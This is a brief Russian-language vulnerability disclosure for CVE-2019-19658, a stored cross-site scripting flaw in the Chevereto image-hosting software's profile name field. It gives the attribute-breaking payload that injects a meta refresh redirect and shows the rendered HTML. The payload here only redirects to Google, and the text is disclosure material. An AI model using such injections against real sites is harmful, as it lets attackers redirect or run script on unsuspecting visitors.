CVE-2019-19658

Chevereto хранит XSS на странице профиля - 1.0.0 - 1.1.4 Free, <= 3.13.5 Core. Обычный пользователь может ввести HTML и скрипт в имя своего профиля, и они будут выполнены на его странице профиля.

/settings/profile

Имя:

0;https://www.google.se" http-equiv="refresh" data="

Результат на странице профиля, который перенаправит на Google:

<meta name="twitter:title" content="0;https://www.google.com" http-equiv="refresh" data=" (admin)">

Зарегистрированный пользователь вставляет скрипт в поле имени, в данном случае для перенаправления пользователя на Google

Кто-то заходит в профиль /test и затем перенаправляется